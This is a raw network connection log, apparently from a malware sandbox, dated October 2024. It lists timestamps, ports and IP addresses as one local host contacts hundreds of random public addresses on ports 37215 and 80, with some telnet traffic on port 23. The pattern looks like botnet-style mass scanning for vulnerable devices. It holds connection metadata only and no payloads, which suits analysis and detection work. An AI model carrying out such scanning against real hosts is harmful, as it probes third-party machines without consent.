Oct 14, 2024 17:30:06.879744053 CEST	53786	37215	192.168.2.14	156.175.194.125
Oct 14, 2024 17:30:06.879764080 CEST	53786	37215	192.168.2.14	197.137.49.117
Oct 14, 2024 17:30:06.879769087 CEST	53786	37215	192.168.2.14	41.99.22.51
Oct 14, 2024 17:30:06.879781961 CEST	53786	37215	192.168.2.14	156.165.205.244
Oct 14, 2024 17:30:06.879795074 CEST	53786	37215	192.168.2.14	156.88.222.150
Oct 14, 2024 17:30:06.879808903 CEST	53786	37215	192.168.2.14	41.168.253.58
Oct 14, 2024 17:30:06.879811049 CEST	53786	37215	192.168.2.14	156.124.125.35
Oct 14, 2024 17:30:06.879812002 CEST	53786	37215	192.168.2.14	41.1.38.43
Oct 14, 2024 17:30:06.879826069 CEST	53786	37215	192.168.2.14	156.164.107.73
Oct 14, 2024 17:30:06.879826069 CEST	53786	37215	192.168.2.14	197.231.94.82
Oct 14, 2024 17:30:06.879827976 CEST	53786	37215	192.168.2.14	197.4.239.194
Oct 14, 2024 17:30:06.879836082 CEST	53786	37215	192.168.2.14	197.153.32.30
Oct 14, 2024 17:30:06.879859924 CEST	53786	37215	192.168.2.14	41.203.70.143
Oct 14, 2024 17:30:06.879859924 CEST	53786	37215	192.168.2.14	41.28.39.137
Oct 14, 2024 17:30:06.879878044 CEST	53786	37215	192.168.2.14	41.67.209.153
Oct 14, 2024 17:30:06.879885912 CEST	53786	37215	192.168.2.14	197.74.22.57
Oct 14, 2024 17:30:06.879894018 CEST	53786	37215	192.168.2.14	197.239.128.204
Oct 14, 2024 17:30:06.879906893 CEST	53786	37215	192.168.2.14	197.91.225.90
Oct 14, 2024 17:30:06.879914045 CEST	53786	37215	192.168.2.14	156.241.113.176
Oct 14, 2024 17:30:06.879924059 CEST	53786	37215	192.168.2.14	156.1.156.47
Oct 14, 2024 17:30:06.879949093 CEST	53786	37215	192.168.2.14	156.201.98.66
Oct 14, 2024 17:30:06.879949093 CEST	53786	37215	192.168.2.14	156.194.217.6
Oct 14, 2024 17:30:06.879949093 CEST	53786	37215	192.168.2.14	156.131.141.47
Oct 14, 2024 17:30:06.879951954 CEST	53786	37215	192.168.2.14	41.34.201.220
Oct 14, 2024 17:30:06.879951954 CEST	53786	37215	192.168.2.14	41.42.106.2
Oct 14, 2024 17:30:06.879980087 CEST	53786	37215	192.168.2.14	156.52.251.129
Oct 14, 2024 17:30:06.879981041 CEST	53786	37215	192.168.2.14	41.124.94.169
Oct 14, 2024 17:30:06.879985094 CEST	53786	37215	192.168.2.14	156.183.156.222
Oct 14, 2024 17:30:06.879986048 CEST	53786	37215	192.168.2.14	41.63.193.171
Oct 14, 2024 17:30:06.880001068 CEST	53786	37215	192.168.2.14	197.234.78.116
Oct 14, 2024 17:30:06.880012989 CEST	53786	37215	192.168.2.14	41.56.219.158
Oct 14, 2024 17:30:06.880022049 CEST	53786	37215	192.168.2.14	41.196.65.16
Oct 14, 2024 17:30:06.880023956 CEST	53786	37215	192.168.2.14	197.181.71.92
Oct 14, 2024 17:30:06.880037069 CEST	53786	37215	192.168.2.14	41.207.181.41
Oct 14, 2024 17:30:06.880048990 CEST	53786	37215	192.168.2.14	41.154.226.29
Oct 14, 2024 17:30:06.880049944 CEST	53786	37215	192.168.2.14	156.71.250.19
Oct 14, 2024 17:30:06.880055904 CEST	53786	37215	192.168.2.14	41.29.97.30
Oct 14, 2024 17:30:06.880073071 CEST	53786	37215	192.168.2.14	197.79.141.86
Oct 14, 2024 17:30:06.880099058 CEST	53786	37215	192.168.2.14	41.137.1.69
Oct 14, 2024 17:30:06.880109072 CEST	53786	37215	192.168.2.14	197.190.249.148
Oct 14, 2024 17:30:06.880112886 CEST	53786	37215	192.168.2.14	156.1.174.111
Oct 14, 2024 17:30:06.880120039 CEST	53786	37215	192.168.2.14	156.107.10.233
Oct 14, 2024 17:30:06.880121946 CEST	53786	37215	192.168.2.14	41.222.106.241
Oct 14, 2024 17:30:06.880125999 CEST	53786	37215	192.168.2.14	156.43.132.230
Oct 14, 2024 17:30:06.880127907 CEST	53786	37215	192.168.2.14	156.196.31.150
Oct 14, 2024 17:30:06.880140066 CEST	53786	37215	192.168.2.14	197.135.239.123
Oct 14, 2024 17:30:06.880145073 CEST	53786	37215	192.168.2.14	41.102.146.87
Oct 14, 2024 17:30:06.880145073 CEST	53786	37215	192.168.2.14	41.125.37.146
Oct 14, 2024 17:30:06.880162954 CEST	53786	37215	192.168.2.14	156.4.11.38
Oct 14, 2024 17:30:06.880165100 CEST	53786	37215	192.168.2.14	41.121.143.146
Oct 14, 2024 17:30:06.880183935 CEST	53786	37215	192.168.2.14	197.94.86.121
Oct 14, 2024 17:30:06.880191088 CEST	53786	37215	192.168.2.14	41.50.42.228
Oct 14, 2024 17:30:06.880196095 CEST	53786	37215	192.168.2.14	41.45.28.140
Oct 14, 2024 17:30:06.880201101 CEST	53786	37215	192.168.2.14	197.228.23.87
Oct 14, 2024 17:30:06.880201101 CEST	53786	37215	192.168.2.14	197.3.153.149
Oct 14, 2024 17:30:06.880228043 CEST	53786	37215	192.168.2.14	197.195.77.168
Oct 14, 2024 17:30:06.880239010 CEST	53786	37215	192.168.2.14	156.187.184.58
Oct 14, 2024 17:30:06.880254030 CEST	53274	80	192.168.2.14	62.27.243.202
Oct 14, 2024 17:30:06.880258083 CEST	53786	37215	192.168.2.14	156.83.158.206
Oct 14, 2024 17:30:06.880258083 CEST	53786	37215	192.168.2.14	197.155.238.115
Oct 14, 2024 17:30:06.880264044 CEST	53786	37215	192.168.2.14	197.61.220.76
Oct 14, 2024 17:30:06.880264044 CEST	53786	37215	192.168.2.14	156.99.254.83
Oct 14, 2024 17:30:06.880268097 CEST	53786	37215	192.168.2.14	41.89.142.50
Oct 14, 2024 17:30:06.880268097 CEST	53274	80	192.168.2.14	159.91.47.65
Oct 14, 2024 17:30:06.880270004 CEST	53274	80	192.168.2.14	90.169.92.100
Oct 14, 2024 17:30:06.880294085 CEST	53786	37215	192.168.2.14	197.135.124.130
Oct 14, 2024 17:30:06.880294085 CEST	53274	80	192.168.2.14	131.218.141.41
Oct 14, 2024 17:30:06.880296946 CEST	53274	80	192.168.2.14	137.32.83.126
Oct 14, 2024 17:30:06.880297899 CEST	53786	37215	192.168.2.14	41.165.79.165
Oct 14, 2024 17:30:06.880302906 CEST	53274	80	192.168.2.14	200.142.113.7
Oct 14, 2024 17:30:06.880302906 CEST	53274	80	192.168.2.14	202.217.1.68
Oct 14, 2024 17:30:06.880321026 CEST	53274	80	192.168.2.14	108.10.144.124
Oct 14, 2024 17:30:06.880330086 CEST	53786	37215	192.168.2.14	41.173.7.231
Oct 14, 2024 17:30:06.880335093 CEST	53786	37215	192.168.2.14	156.204.124.93
Oct 14, 2024 17:30:06.880348921 CEST	53786	37215	192.168.2.14	41.108.127.28
Oct 14, 2024 17:30:06.880351067 CEST	53786	37215	192.168.2.14	41.224.239.153
Oct 14, 2024 17:30:06.880352020 CEST	53786	37215	192.168.2.14	156.140.177.52
Oct 14, 2024 17:30:06.880352020 CEST	53274	80	192.168.2.14	212.201.44.80
Oct 14, 2024 17:30:06.880352974 CEST	53786	37215	192.168.2.14	197.215.148.217
Oct 14, 2024 17:30:06.880362034 CEST	53786	37215	192.168.2.14	156.15.69.208
Oct 14, 2024 17:30:06.880364895 CEST	53786	37215	192.168.2.14	156.235.186.160
Oct 14, 2024 17:30:06.880366087 CEST	53274	80	192.168.2.14	156.151.23.28
Oct 14, 2024 17:30:06.880366087 CEST	53786	37215	192.168.2.14	156.212.251.142
Oct 14, 2024 17:30:06.880366087 CEST	53786	37215	192.168.2.14	156.184.91.73
Oct 14, 2024 17:30:06.880368948 CEST	53786	37215	192.168.2.14	156.79.0.136
Oct 14, 2024 17:30:06.880369902 CEST	53786	37215	192.168.2.14	197.178.79.67
Oct 14, 2024 17:30:06.880369902 CEST	53786	37215	192.168.2.14	41.10.178.6
Oct 14, 2024 17:30:06.880369902 CEST	53786	37215	192.168.2.14	41.34.219.91
Oct 14, 2024 17:30:06.880369902 CEST	53274	80	192.168.2.14	139.25.170.21
Oct 14, 2024 17:30:06.880378962 CEST	53786	37215	192.168.2.14	41.202.154.161
Oct 14, 2024 17:30:06.880378962 CEST	53786	37215	192.168.2.14	41.112.25.43
Oct 14, 2024 17:30:06.880378962 CEST	53274	80	192.168.2.14	217.234.226.222
Oct 14, 2024 17:30:06.880384922 CEST	53786	37215	192.168.2.14	197.58.13.43
Oct 14, 2024 17:30:06.880389929 CEST	53786	37215	192.168.2.14	156.247.35.81
Oct 14, 2024 17:30:06.880389929 CEST	53786	37215	192.168.2.14	41.22.183.89
Oct 14, 2024 17:30:06.880389929 CEST	53786	37215	192.168.2.14	156.68.208.33
Oct 14, 2024 17:30:06.880398989 CEST	53786	37215	192.168.2.14	41.14.124.112
Oct 14, 2024 17:30:06.880398989 CEST	53786	37215	192.168.2.14	156.143.120.94
Oct 14, 2024 17:30:06.880398989 CEST	53274	80	192.168.2.14	110.104.125.223
Oct 14, 2024 17:30:06.880398989 CEST	53786	37215	192.168.2.14	41.208.3.121
Oct 14, 2024 17:30:06.880399942 CEST	53786	37215	192.168.2.14	41.162.172.206
Oct 14, 2024 17:30:06.880400896 CEST	53786	37215	192.168.2.14	156.4.171.249
Oct 14, 2024 17:30:06.880399942 CEST	53274	80	192.168.2.14	107.155.143.32
Oct 14, 2024 17:30:06.880412102 CEST	53274	80	192.168.2.14	19.149.29.25
Oct 14, 2024 17:30:06.880413055 CEST	53786	37215	192.168.2.14	197.93.84.42
Oct 14, 2024 17:30:06.880428076 CEST	53274	80	192.168.2.14	221.166.175.36
Oct 14, 2024 17:30:06.880428076 CEST	53274	80	192.168.2.14	187.237.223.34
Oct 14, 2024 17:30:06.880434990 CEST	53274	80	192.168.2.14	201.171.85.124
Oct 14, 2024 17:30:06.880436897 CEST	53274	80	192.168.2.14	173.132.71.60
Oct 14, 2024 17:30:06.880436897 CEST	53786	37215	192.168.2.14	197.133.182.238
Oct 14, 2024 17:30:06.880441904 CEST	53274	80	192.168.2.14	14.19.126.210
Oct 14, 2024 17:30:06.880441904 CEST	53274	80	192.168.2.14	175.142.52.187
Oct 14, 2024 17:30:06.880466938 CEST	53786	37215	192.168.2.14	156.46.25.230
Oct 14, 2024 17:30:06.880475998 CEST	53786	37215	192.168.2.14	197.125.192.57
Oct 14, 2024 17:30:06.880475998 CEST	53786	37215	192.168.2.14	41.220.52.130
Oct 14, 2024 17:30:06.880475998 CEST	53274	80	192.168.2.14	124.132.25.56
Oct 14, 2024 17:30:06.880485058 CEST	53786	37215	192.168.2.14	197.191.192.93
Oct 14, 2024 17:30:06.880485058 CEST	53786	37215	192.168.2.14	41.166.106.76
Oct 14, 2024 17:30:06.880485058 CEST	53274	80	192.168.2.14	75.38.223.72
Oct 14, 2024 17:30:06.880491018 CEST	53274	80	192.168.2.14	161.242.196.182
Oct 14, 2024 17:30:06.880490065 CEST	53786	37215	192.168.2.14	156.221.34.195
Oct 14, 2024 17:30:06.880490065 CEST	53274	80	192.168.2.14	73.239.192.48
Oct 14, 2024 17:30:06.880503893 CEST	53274	80	192.168.2.14	41.59.78.108
Oct 14, 2024 17:30:06.880502939 CEST	53786	37215	192.168.2.14	156.57.65.56
Oct 14, 2024 17:30:06.880502939 CEST	53274	80	192.168.2.14	139.138.250.188
Oct 14, 2024 17:30:06.880502939 CEST	53786	37215	192.168.2.14	197.11.23.41
Oct 14, 2024 17:30:06.880506039 CEST	53786	37215	192.168.2.14	197.159.99.206
Oct 14, 2024 17:30:06.880506039 CEST	53274	80	192.168.2.14	143.209.20.121
Oct 14, 2024 17:30:06.880502939 CEST	53786	37215	192.168.2.14	156.198.236.160
Oct 14, 2024 17:30:06.880502939 CEST	53274	80	192.168.2.14	149.34.252.31
Oct 14, 2024 17:30:06.880510092 CEST	53274	80	192.168.2.14	100.243.109.233
Oct 14, 2024 17:30:06.880503893 CEST	53786	37215	192.168.2.14	41.151.158.120
Oct 14, 2024 17:30:06.880510092 CEST	53274	80	192.168.2.14	69.8.8.128
Oct 14, 2024 17:30:06.880503893 CEST	53274	80	192.168.2.14	193.242.101.43
Oct 14, 2024 17:30:06.880512953 CEST	53786	37215	192.168.2.14	197.70.39.76
Oct 14, 2024 17:30:06.880512953 CEST	53274	80	192.168.2.14	49.174.98.60
Oct 14, 2024 17:30:06.880517006 CEST	53274	80	192.168.2.14	163.36.214.144
Oct 14, 2024 17:30:06.880528927 CEST	53274	80	192.168.2.14	19.34.134.3
Oct 14, 2024 17:30:06.880538940 CEST	53786	37215	192.168.2.14	41.27.172.252
Oct 14, 2024 17:30:06.880539894 CEST	53274	80	192.168.2.14	99.121.21.218
Oct 14, 2024 17:30:06.880538940 CEST	53274	80	192.168.2.14	116.203.124.247
Oct 14, 2024 17:30:06.880542040 CEST	53786	37215	192.168.2.14	41.215.104.2
Oct 14, 2024 17:30:06.880542040 CEST	53274	80	192.168.2.14	86.25.75.62
Oct 14, 2024 17:30:06.880542040 CEST	53274	80	192.168.2.14	121.0.234.94
Oct 14, 2024 17:30:06.880543947 CEST	53786	37215	192.168.2.14	41.64.224.11
Oct 14, 2024 17:30:06.880542040 CEST	53274	80	192.168.2.14	107.96.85.251
Oct 14, 2024 17:30:06.880543947 CEST	53786	37215	192.168.2.14	156.154.74.103
Oct 14, 2024 17:30:06.880558014 CEST	53786	37215	192.168.2.14	197.172.165.197
Oct 14, 2024 17:30:06.880561113 CEST	53274	80	192.168.2.14	122.156.175.48
Oct 14, 2024 17:30:06.880572081 CEST	53274	80	192.168.2.14	188.186.24.147
Oct 14, 2024 17:30:06.880580902 CEST	53274	80	192.168.2.14	81.235.158.66
Oct 14, 2024 17:30:06.880583048 CEST	53786	37215	192.168.2.14	41.46.36.133
Oct 14, 2024 17:30:06.880583048 CEST	53786	37215	192.168.2.14	41.178.250.222
Oct 14, 2024 17:30:06.880583048 CEST	53274	80	192.168.2.14	174.70.41.238
Oct 14, 2024 17:30:06.880585909 CEST	53274	80	192.168.2.14	72.62.242.204
Oct 14, 2024 17:30:06.880588055 CEST	53786	37215	192.168.2.14	156.55.50.120
Oct 14, 2024 17:30:06.880588055 CEST	53786	37215	192.168.2.14	156.74.82.48
Oct 14, 2024 17:30:06.880597115 CEST	53274	80	192.168.2.14	189.12.29.128
Oct 14, 2024 17:30:06.880604982 CEST	53274	80	192.168.2.14	39.116.41.10
Oct 14, 2024 17:30:06.880609035 CEST	53786	37215	192.168.2.14	156.157.161.154
Oct 14, 2024 17:30:06.880621910 CEST	53274	80	192.168.2.14	168.135.208.53
Oct 14, 2024 17:30:06.880623102 CEST	53274	80	192.168.2.14	210.243.132.111
Oct 14, 2024 17:30:06.880623102 CEST	53274	80	192.168.2.14	78.162.201.217
Oct 14, 2024 17:30:06.880637884 CEST	53786	37215	192.168.2.14	197.160.243.157
Oct 14, 2024 17:30:06.880646944 CEST	53786	37215	192.168.2.14	156.23.195.198
Oct 14, 2024 17:30:06.880646944 CEST	53786	37215	192.168.2.14	197.50.164.153
Oct 14, 2024 17:30:06.880661011 CEST	53786	37215	192.168.2.14	156.230.214.12
Oct 14, 2024 17:30:06.880661964 CEST	53786	37215	192.168.2.14	41.169.17.139
Oct 14, 2024 17:30:06.880671978 CEST	53786	37215	192.168.2.14	197.225.241.209
Oct 14, 2024 17:30:06.880672932 CEST	53786	37215	192.168.2.14	197.149.101.167
Oct 14, 2024 17:30:06.880685091 CEST	53786	37215	192.168.2.14	156.12.51.36
Oct 14, 2024 17:30:06.880687952 CEST	53786	37215	192.168.2.14	41.17.179.102
Oct 14, 2024 17:30:06.880695105 CEST	53786	37215	192.168.2.14	156.56.158.251
Oct 14, 2024 17:30:06.880701065 CEST	53786	37215	192.168.2.14	156.149.126.98
Oct 14, 2024 17:30:06.880721092 CEST	53786	37215	192.168.2.14	41.78.105.30
Oct 14, 2024 17:30:06.880721092 CEST	53786	37215	192.168.2.14	41.147.138.81
Oct 14, 2024 17:30:06.880721092 CEST	53274	80	192.168.2.14	42.105.173.58
Oct 14, 2024 17:30:06.880753040 CEST	53786	37215	192.168.2.14	41.50.77.95
Oct 14, 2024 17:30:06.880753040 CEST	53274	80	192.168.2.14	25.248.148.225
Oct 14, 2024 17:30:06.880780935 CEST	53274	80	192.168.2.14	46.75.20.254
Oct 14, 2024 17:30:06.880784035 CEST	53274	80	192.168.2.14	169.19.161.5
Oct 14, 2024 17:30:06.880801916 CEST	53786	37215	192.168.2.14	156.203.149.253
Oct 14, 2024 17:30:06.880801916 CEST	53274	80	192.168.2.14	142.244.200.27
Oct 14, 2024 17:30:06.880810976 CEST	53274	80	192.168.2.14	88.26.232.122
Oct 14, 2024 17:30:06.880810976 CEST	53274	80	192.168.2.14	121.84.225.161
Oct 14, 2024 17:30:06.880812883 CEST	53274	80	192.168.2.14	206.27.30.39
Oct 14, 2024 17:30:06.880820990 CEST	53274	80	192.168.2.14	84.150.177.205
Oct 14, 2024 17:30:06.880839109 CEST	53274	80	192.168.2.14	143.65.17.40
Oct 14, 2024 17:30:06.880839109 CEST	53274	80	192.168.2.14	49.52.43.66
Oct 14, 2024 17:30:06.880839109 CEST	53274	80	192.168.2.14	216.121.149.240
Oct 14, 2024 17:30:06.880855083 CEST	53274	80	192.168.2.14	27.45.60.85
Oct 14, 2024 17:30:06.880855083 CEST	53274	80	192.168.2.14	63.3.208.21
Oct 14, 2024 17:30:06.880861044 CEST	53274	80	192.168.2.14	171.119.80.214
Oct 14, 2024 17:30:06.880868912 CEST	53274	80	192.168.2.14	87.156.27.103
Oct 14, 2024 17:30:06.880880117 CEST	53274	80	192.168.2.14	145.130.25.4
Oct 14, 2024 17:30:06.880892992 CEST	53274	80	192.168.2.14	182.22.183.65
Oct 14, 2024 17:30:06.880893946 CEST	53274	80	192.168.2.14	179.2.209.228
Oct 14, 2024 17:30:06.880945921 CEST	53274	80	192.168.2.14	180.41.164.188
Oct 14, 2024 17:30:06.880945921 CEST	53274	80	192.168.2.14	134.253.81.158
Oct 14, 2024 17:30:06.880949020 CEST	53274	80	192.168.2.14	188.129.38.177
Oct 14, 2024 17:30:06.880949020 CEST	53274	80	192.168.2.14	149.110.54.160
Oct 14, 2024 17:30:06.880963087 CEST	53274	80	192.168.2.14	170.137.25.220
Oct 14, 2024 17:30:06.880970001 CEST	53274	80	192.168.2.14	45.93.239.120
Oct 14, 2024 17:30:06.880970001 CEST	53274	80	192.168.2.14	94.247.139.252
Oct 14, 2024 17:30:06.880976915 CEST	53274	80	192.168.2.14	192.136.150.95
Oct 14, 2024 17:30:06.880980015 CEST	53274	80	192.168.2.14	109.83.218.152
Oct 14, 2024 17:30:06.880980968 CEST	53274	80	192.168.2.14	166.214.131.85
Oct 14, 2024 17:30:06.880983114 CEST	53274	80	192.168.2.14	118.87.65.215
Oct 14, 2024 17:30:06.880983114 CEST	53274	80	192.168.2.14	132.239.31.227
Oct 14, 2024 17:30:06.880995989 CEST	53274	80	192.168.2.14	143.134.121.209
Oct 14, 2024 17:30:06.881021023 CEST	53274	80	192.168.2.14	87.99.139.116
Oct 14, 2024 17:30:06.881025076 CEST	53274	80	192.168.2.14	143.119.169.145
Oct 14, 2024 17:30:06.881074905 CEST	53274	80	192.168.2.14	173.147.45.50
Oct 14, 2024 17:30:06.881082058 CEST	53274	80	192.168.2.14	50.133.1.151
Oct 14, 2024 17:30:06.881095886 CEST	53274	80	192.168.2.14	18.249.10.234
Oct 14, 2024 17:30:06.881095886 CEST	53274	80	192.168.2.14	156.12.237.143
Oct 14, 2024 17:30:06.881117105 CEST	53274	80	192.168.2.14	34.99.2.54
Oct 14, 2024 17:30:06.881119967 CEST	53274	80	192.168.2.14	166.26.161.110
Oct 14, 2024 17:30:06.881149054 CEST	53274	80	192.168.2.14	18.163.78.46
Oct 14, 2024 17:30:06.881176949 CEST	53274	80	192.168.2.14	139.186.121.152
Oct 14, 2024 17:30:06.881180048 CEST	53274	80	192.168.2.14	188.102.90.168
Oct 14, 2024 17:30:06.881187916 CEST	53274	80	192.168.2.14	153.77.31.26
Oct 14, 2024 17:30:06.881201029 CEST	53274	80	192.168.2.14	110.81.210.7
Oct 14, 2024 17:30:06.881201029 CEST	53274	80	192.168.2.14	218.68.45.159
Oct 14, 2024 17:30:06.881211042 CEST	53274	80	192.168.2.14	46.77.22.186
Oct 14, 2024 17:30:06.881211042 CEST	53274	80	192.168.2.14	53.186.183.108
Oct 14, 2024 17:30:06.881223917 CEST	53274	80	192.168.2.14	216.177.7.174
Oct 14, 2024 17:30:06.881223917 CEST	53274	80	192.168.2.14	171.169.110.177
Oct 14, 2024 17:30:06.881234884 CEST	53274	80	192.168.2.14	150.42.224.221
Oct 14, 2024 17:30:06.881241083 CEST	53274	80	192.168.2.14	85.146.219.54
Oct 14, 2024 17:30:06.881247997 CEST	53274	80	192.168.2.14	83.191.110.243
Oct 14, 2024 17:30:06.881257057 CEST	53274	80	192.168.2.14	196.217.63.149
Oct 14, 2024 17:30:06.881304979 CEST	53274	80	192.168.2.14	181.253.55.234
Oct 14, 2024 17:30:06.881326914 CEST	53274	80	192.168.2.14	189.245.197.81
Oct 14, 2024 17:30:06.881326914 CEST	53274	80	192.168.2.14	129.28.141.167
Oct 14, 2024 17:30:06.881346941 CEST	53274	80	192.168.2.14	187.196.11.106
Oct 14, 2024 17:30:06.881350040 CEST	53274	80	192.168.2.14	20.166.149.8
Oct 14, 2024 17:30:06.881350994 CEST	53274	80	192.168.2.14	218.9.230.240
Oct 14, 2024 17:30:06.881351948 CEST	53274	80	192.168.2.14	81.110.35.249
Oct 14, 2024 17:30:06.881355047 CEST	53274	80	192.168.2.14	49.152.222.4
Oct 14, 2024 17:30:06.881381989 CEST	53274	80	192.168.2.14	136.108.166.124
Oct 14, 2024 17:30:06.881412983 CEST	53274	80	192.168.2.14	133.140.101.205
Oct 14, 2024 17:30:06.881412983 CEST	53274	80	192.168.2.14	111.48.217.136
Oct 14, 2024 17:30:06.881432056 CEST	53274	80	192.168.2.14	124.231.162.204
Oct 14, 2024 17:30:06.881433010 CEST	53274	80	192.168.2.14	81.244.151.237
Oct 14, 2024 17:30:06.881432056 CEST	53274	80	192.168.2.14	180.148.62.164
Oct 14, 2024 17:30:06.881434917 CEST	53274	80	192.168.2.14	84.88.219.128
Oct 14, 2024 17:30:06.881447077 CEST	53274	80	192.168.2.14	61.159.62.64
Oct 14, 2024 17:30:06.881448030 CEST	53274	80	192.168.2.14	143.255.200.217
Oct 14, 2024 17:30:06.881486893 CEST	53274	80	192.168.2.14	169.101.30.27
Oct 14, 2024 17:30:06.881486893 CEST	53274	80	192.168.2.14	51.108.195.17
Oct 14, 2024 17:30:06.881493092 CEST	53274	80	192.168.2.14	165.119.64.196
Oct 14, 2024 17:30:06.881503105 CEST	53274	80	192.168.2.14	138.231.26.216
Oct 14, 2024 17:30:06.881510019 CEST	53274	80	192.168.2.14	196.247.45.22
Oct 14, 2024 17:30:06.881510019 CEST	53274	80	192.168.2.14	163.214.134.37
Oct 14, 2024 17:30:06.881522894 CEST	53274	80	192.168.2.14	181.63.255.108
Oct 14, 2024 17:30:06.881531000 CEST	53274	80	192.168.2.14	84.35.151.71
Oct 14, 2024 17:30:06.881542921 CEST	53274	80	192.168.2.14	194.197.201.169
Oct 14, 2024 17:30:06.881551027 CEST	53274	80	192.168.2.14	129.137.158.214
Oct 14, 2024 17:30:06.881552935 CEST	53274	80	192.168.2.14	80.114.14.187
Oct 14, 2024 17:30:06.881622076 CEST	53274	80	192.168.2.14	112.145.144.127
Oct 14, 2024 17:30:06.881644011 CEST	53274	80	192.168.2.14	87.23.227.223
Oct 14, 2024 17:30:06.881649017 CEST	53274	80	192.168.2.14	143.2.198.18
Oct 14, 2024 17:30:06.881683111 CEST	53274	80	192.168.2.14	116.191.93.49
Oct 14, 2024 17:30:06.881684065 CEST	53274	80	192.168.2.14	160.172.24.194
Oct 14, 2024 17:30:06.881685019 CEST	53274	80	192.168.2.14	53.112.153.12
Oct 14, 2024 17:30:06.881692886 CEST	53274	80	192.168.2.14	100.164.250.107
Oct 14, 2024 17:30:06.881692886 CEST	53274	80	192.168.2.14	132.214.21.2
Oct 14, 2024 17:30:06.881695986 CEST	53274	80	192.168.2.14	107.28.164.235
Oct 14, 2024 17:30:06.881716013 CEST	53274	80	192.168.2.14	43.198.134.40
Oct 14, 2024 17:30:06.881742001 CEST	53274	80	192.168.2.14	140.212.130.116
Oct 14, 2024 17:30:06.881748915 CEST	53274	80	192.168.2.14	101.169.213.145
Oct 14, 2024 17:30:06.881772041 CEST	53274	80	192.168.2.14	34.179.54.163
Oct 14, 2024 17:30:06.881774902 CEST	53274	80	192.168.2.14	100.167.23.170
Oct 14, 2024 17:30:06.881795883 CEST	53274	80	192.168.2.14	85.131.69.236
Oct 14, 2024 17:30:06.881814003 CEST	53274	80	192.168.2.14	112.21.91.30
Oct 14, 2024 17:30:06.881823063 CEST	53274	80	192.168.2.14	194.148.34.212
Oct 14, 2024 17:30:06.881836891 CEST	53274	80	192.168.2.14	134.54.251.239
Oct 14, 2024 17:30:06.881836891 CEST	53274	80	192.168.2.14	83.64.170.62
Oct 14, 2024 17:30:06.881845951 CEST	53274	80	192.168.2.14	129.210.162.192
Oct 14, 2024 17:30:06.881845951 CEST	53274	80	192.168.2.14	167.150.183.171
Oct 14, 2024 17:30:06.881870031 CEST	53274	80	192.168.2.14	38.23.230.232
Oct 14, 2024 17:30:06.881871939 CEST	53274	80	192.168.2.14	104.221.203.24
Oct 14, 2024 17:30:06.881877899 CEST	53274	80	192.168.2.14	125.79.38.82
Oct 14, 2024 17:30:06.881897926 CEST	53274	80	192.168.2.14	17.217.126.44
Oct 14, 2024 17:30:06.881897926 CEST	53274	80	192.168.2.14	65.17.144.95
Oct 14, 2024 17:30:06.881920099 CEST	53274	80	192.168.2.14	86.17.3.87
Oct 14, 2024 17:30:06.881920099 CEST	53274	80	192.168.2.14	156.178.231.145
Oct 14, 2024 17:30:06.881952047 CEST	53274	80	192.168.2.14	95.5.240.51
Oct 14, 2024 17:30:06.881967068 CEST	53274	80	192.168.2.14	104.248.239.75
Oct 14, 2024 17:30:06.881967068 CEST	53274	80	192.168.2.14	110.51.192.188
Oct 14, 2024 17:30:06.882838011 CEST	53274	80	192.168.2.14	63.133.187.202
Oct 14, 2024 17:30:06.882849932 CEST	53274	80	192.168.2.14	88.22.148.88
Oct 14, 2024 17:30:06.882865906 CEST	53274	80	192.168.2.14	162.206.67.162
Oct 14, 2024 17:30:06.882875919 CEST	53274	80	192.168.2.14	223.23.131.161
Oct 14, 2024 17:30:06.882877111 CEST	53274	80	192.168.2.14	87.249.51.247
Oct 14, 2024 17:30:06.882889986 CEST	53274	80	192.168.2.14	121.157.216.160
Oct 14, 2024 17:30:06.882895947 CEST	53274	80	192.168.2.14	90.20.206.155
Oct 14, 2024 17:30:06.882901907 CEST	53274	80	192.168.2.14	110.199.8.163
Oct 14, 2024 17:30:06.882910967 CEST	53274	80	192.168.2.14	140.224.160.60
Oct 14, 2024 17:30:06.882930994 CEST	53274	80	192.168.2.14	88.0.222.227
Oct 14, 2024 17:30:06.882956982 CEST	53274	80	192.168.2.14	172.217.93.112
Oct 14, 2024 17:30:06.882960081 CEST	53274	80	192.168.2.14	140.195.116.119
Oct 14, 2024 17:30:06.882968903 CEST	53274	80	192.168.2.14	137.120.113.119
Oct 14, 2024 17:30:06.882968903 CEST	53274	80	192.168.2.14	54.115.241.83
Oct 14, 2024 17:30:06.882973909 CEST	53274	80	192.168.2.14	205.70.168.76
Oct 14, 2024 17:30:06.882980108 CEST	53274	80	192.168.2.14	121.96.56.29
Oct 14, 2024 17:30:06.883003950 CEST	53274	80	192.168.2.14	189.186.132.144
Oct 14, 2024 17:30:06.883003950 CEST	53274	80	192.168.2.14	46.167.243.234
Oct 14, 2024 17:30:06.883003950 CEST	53274	80	192.168.2.14	165.232.52.24
Oct 14, 2024 17:30:06.883017063 CEST	53274	80	192.168.2.14	24.225.52.136
Oct 14, 2024 17:30:06.883042097 CEST	53274	80	192.168.2.14	104.90.142.237
Oct 14, 2024 17:30:06.883044958 CEST	53274	80	192.168.2.14	114.174.177.133
Oct 14, 2024 17:30:06.883050919 CEST	53274	80	192.168.2.14	137.185.160.173
Oct 14, 2024 17:30:06.883060932 CEST	23	12058	12.216.230.134	192.168.2.14
Oct 14, 2024 17:30:06.883063078 CEST	53274	80	192.168.2.14	138.177.107.34
Oct 14, 2024 17:30:06.883068085 CEST	23	12058	161.57.7.247	192.168.2.14
Oct 14, 2024 17:30:06.883076906 CEST	53274	80	192.168.2.14	5.227.162.240
Oct 14, 2024 17:30:06.883085012 CEST	53274	80	192.168.2.14	184.94.229.190
Oct 14, 2024 17:30:06.883091927 CEST	23	12058	208.108.109.204	192.168.2.14
Oct 14, 2024 17:30:06.883097887 CEST	23	12058	48.115.50.1	192.168.2.14
Oct 14, 2024 17:30:06.883100033 CEST	53274	80	192.168.2.14	174.47.178.64
Oct 14, 2024 17:30:06.883100986 CEST	53274	80	192.168.2.14	92.21.98.220
Oct 14, 2024 17:30:06.883106947 CEST	23	12058	116.247.77.200	192.168.2.14
Oct 14, 2024 17:30:06.883109093 CEST	12058	23	192.168.2.14	161.57.7.247
Oct 14, 2024 17:30:06.883110046 CEST	12058	23	192.168.2.14	12.216.230.134
Oct 14, 2024 17:30:06.883112907 CEST	23	12058	66.140.45.169	192.168.2.14
Oct 14, 2024 17:30:06.883119106 CEST	23	12058	130.18.218.137	192.168.2.14
Oct 14, 2024 17:30:06.883119106 CEST	53274	80	192.168.2.14	200.8.109.25
Oct 14, 2024 17:30:06.883124113 CEST	23	12058	124.37.241.209	192.168.2.14
